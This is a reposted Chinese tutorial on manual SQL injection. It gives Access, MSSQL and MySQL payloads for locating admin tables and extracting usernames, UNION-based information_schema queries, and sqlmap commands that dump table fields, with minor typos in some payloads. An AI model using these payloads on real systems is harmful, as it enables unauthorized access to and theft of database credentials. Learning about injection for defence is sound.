SQL注入(手工篇)


開發人員在開發Web系統時對輸入的數據沒有進行有效的驗證及過濾,就存在引發SQL注入漏洞的可能,並導致查看、插入、刪除數據庫的數據,甚至可以執行主機系統命令。

1.可能出現asp?id=x的網站

  只能是基於asp、PHP、jsp、aspx的動態網站,並且存在數據庫交互,例:登陸、留言板、搜索、新聞。但是靜態頁面不可以,如html、htm。

2.漏洞測試

  (1)單引號測試:在頁面中執行命令時使用成對單引號和單個單引號進行測試,查看是否有SQL注入;

  (2)利用條件語句測試:利用SQL連接選項‘and’連接URL,把1=1和1=2作為條件同樣連接進去,如果條件不成立數據庫就會發生變化,代表存在注入,同時也可以判斷數據庫的類型。

3.Acess數據庫注入(手動)

  (1)使用‘and’語句來判斷是否存在注入;

  (2)判斷數據庫類型;

    and (select count(*) from msysobjects)>0;返回權限不足是access表,反之則MSSQL。

  (3)查看數據庫名;

    and db_name()>0

    (4)查看版本信息;

    and 0<>(select @@version)

  (5)查看數據庫中是否存在admin這個管理表;

    and exists(select * from [admin])

    and (select count(*) from admin)>0

  (6)查看admin這個表中是否有username這個管理列;

    and exists(select top 1 [username] from [admin])

    and (select username from admin)>0

  (7)猜測admin這個管理列中用戶名的長度;

    and (select top 1 len(username) from admin)>0

    后面的長度隨意猜測,選擇最大返回正常值加1作為長度。

    (8)取出username的ASCII碼值;

    and (select top 1 asc(mid(username,N,1)) from admin)>0

    mid()函數用來截取,N為第幾位,‘1’代表幾位數;得到的結果可用工具小葵進行轉換,得到的便是真實值。

4.MySQL數據庫注入(手動)

  (1)判斷注入點,后面加#,返回正常則為MySQL數據庫;

  (2)判斷字段數;

    orderb by 1--

    數字可以不斷的加,當返回值改變時,則為全部字段數+1;得到字段數來判斷能回顯數據的位置

  (3)聯合查詢,判斷可回顯數據的位置;

    union select 1,2,3...(上一個得到的字段數)--

    要在URL中加入一個錯誤的判斷值(and 1=2 或在數值前加‘-’號)頁面才會顯示能夠顯示數據的位置。

  (4)查看用戶,版本,庫名

    user(),version(),database()

  (5)查看管理表(常見的管理表命名方式:system、login、admin、users)

    union select 1,table_name(此處為可顯示數據的位置),3,...(字段數) from Information_schema.tables where table_schema=(此處為庫名的16進制數) limit 0,1--

  (6)查看列

    union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16進制) limit 0,1--

5.sqlmap

  (1)需要在python環境下運行;

  (2)測試是否為注入點;

    sqlmap.py -u "URL"

  (3)獲取數據列表;

    sqlmap.py -u "URL" --dbs

  (4)當前數據庫;

    sqlmap.py -u "URL" --current-db

  (5)獲取數據庫所有表信息;

    sqlmap.py -u "URL" --tables -D "目標數據庫"

  (6)獲取列;

    sqlmap.py -u "URL" --column -T "管理表" -D “目標數據庫”

  (7)獲取字段;

    sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目標數據庫”

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM